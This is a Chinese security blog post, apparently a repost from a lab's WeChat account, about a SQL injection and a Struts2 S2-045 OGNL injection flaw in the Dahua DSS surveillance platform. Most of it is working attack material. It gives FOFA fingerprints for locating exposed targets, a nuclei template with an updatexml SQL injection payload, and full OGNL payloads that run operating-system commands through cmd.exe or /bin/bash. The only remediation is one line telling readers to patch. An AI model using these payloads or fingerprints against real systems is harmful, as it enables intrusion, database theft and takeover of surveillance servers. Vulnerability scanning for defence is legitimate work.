大华 DSS SQL注入以及struts2 OGNL表达式注入

admin 2024年6月17日08:24:02评论7 views字数 4306阅读14分21秒阅读模式

大华 DSS SQL注入以及struts2 OGNL表达式注入

大华DSS安防监控系统平台是一款集视频、报警、存储、管理于一体的综合安防解决方案。该平台支持多种接入方式,包括网络视频、模拟视频、数字视频、IP电话、对讲机等。此外,该平台还支持多种报警方式,包括移动侦测、区域入侵、越线报警、人员聚集等。
大华DSS安防监控系统平台采用Apache Struts2作为网站应用框架。由于应用程序框架存在远程命令执行漏洞,攻击者可以通过在上传文件时修改HTTP请求标头中的Content Type值来触发该漏洞,然后执行该漏洞。系统命令以获取服务器权限。
大华 DSS SQL注入以及struts2 OGNL表达式注入
01

大华 DSS SQL注入

fofa指纹 app="dahua-DSS"

大华 DSS SQL注入以及struts2 OGNL表达式注入

02

漏洞点

http://your-ip/portal/services/itcBulletin?wsdl

大华 DSS SQL注入以及struts2 OGNL表达式注入

nuclei插件

id: dahua-dss-itcBulletin-sqliinfo:  name: 大华DSS itcBulletin SQL注入漏洞  author: fgz  severity: high  description: 大华DSS数字监控系统itcBulletin接口存在SQL注入漏洞,攻击者可以利用该漏洞获取数据库敏感信息。  metadata:    fofa-query: app="dahua-DSS"requests:  - raw:      - |+        POST /portal/services/itcBulletin?wsdl HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: gzip        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        <s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>          <s11:Body>            <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>              <netMarkings>                (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1              </netMarkings>            </ns1:deleteBulletin>          </s11:Body>        </s11:Envelope>    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code==500 && contains(body,"error code [1105]") && contains(body,"6cfe798ba8e5b85feb50164c59f4bec")'

大华 DSS SQL注入以及struts2 OGNL表达式注入

03

struts2 OGNL表达式注入

fofa指纹 app="dahua-DSS"

POST /admin/login_login.action HTTP/1.1Connection: keep-aliveuser-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Charsert: GB2312Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9zCache-Control: no-cachePragma: no-cacheHost: xx.xx.xx.xxAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 1022------WebKitFormBoundaryAnmUgTEhFhOZpr9zContent-Disposition: form-data; name="pocfile"; filename="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo test').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

大华 DSS SQL注入以及struts2 OGNL表达式注入

id: dahua-dss-s2-045-rceinfo:  name: dahua-dss-s2-045-rce  author: xxx  severity: high  description: dahua-dss-s2-045-rce  tags: dahua-dssvariables:  randtxt: "{{to_lower(rand_text_alpha(8))}}"http:  - raw:      - |                      GET /admin/login_login.action HTTP/1.1        Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo {{randtxt}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}        Cookie: JSESSIONID=281F258E40BD1B32C20AA1E2FBC32A15; JSESSIONID=8ED7F0032B2552FBBA811F1EE83BA279        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8        Accept-Encoding: gzip,deflate,br        Host: {{Hostname}}        Connection: Keep-alive    matchers:           - type: dsl        name: s2-045-rce        dsl:          - "status_code_1 == 200 && contains(body,'{{randtxt}}')"

大华 DSS SQL注入以及struts2 OGNL表达式注入

04

修复建议

尽快到官网更新补丁,防止服务器被入侵,更新完补丁后对服务器进行全面检查,防止服务器被留后门。

-=[感·谢·阅·读]=-

关于我们

星网实验室成立(starnetlabs)于2021年10月,是智网安云(武汉)信息技术有限公司旗下安全研究院实验室之一,其成员主要来源于国内一线安全厂商或监管执法机构,多名成员取得CISSP,CISP,PMP,CISAW,PTE等国内网络安全圈行业认证证书,该实验室研究员多次参加国内和省内网络安全攻防比赛取得佳绩。实验室主要研究方向:网络安全攻防竞赛、最前沿的攻防技术,云计算安全、物联网安全等。形成一支结构合理、创新能力强的产学研队伍。星网实验室将持续沉淀前沿安全能力,面向产业输出业蓝军网络安全对抗工具、红队攻击武器平台、蜜网平台、大数据安全管理中心等产品,并持续开放各项核心能力,推动产业安全能力建设。护航各行业数字化变革,守护大数据时代的网络安全是星网实验室的使命。

大华 DSS SQL注入以及struts2 OGNL表达式注入

往期精选内容

大华 DSS SQL注入以及struts2 OGNL表达式注入

大华 DSS SQL注入以及struts2 OGNL表达式注入

大华 DSS SQL注入以及struts2 OGNL表达式注入

大华 DSS SQL注入以及struts2 OGNL表达式注入

原文始发于微信公众号(星网实验室):大华 DSS SQL注入以及struts2 OGNL表达式注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日08:24:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大华 DSS SQL注入以及struts2 OGNL表达式注入https://cn-sec.com/archives/2849819.html

发表评论

匿名网友 填写信息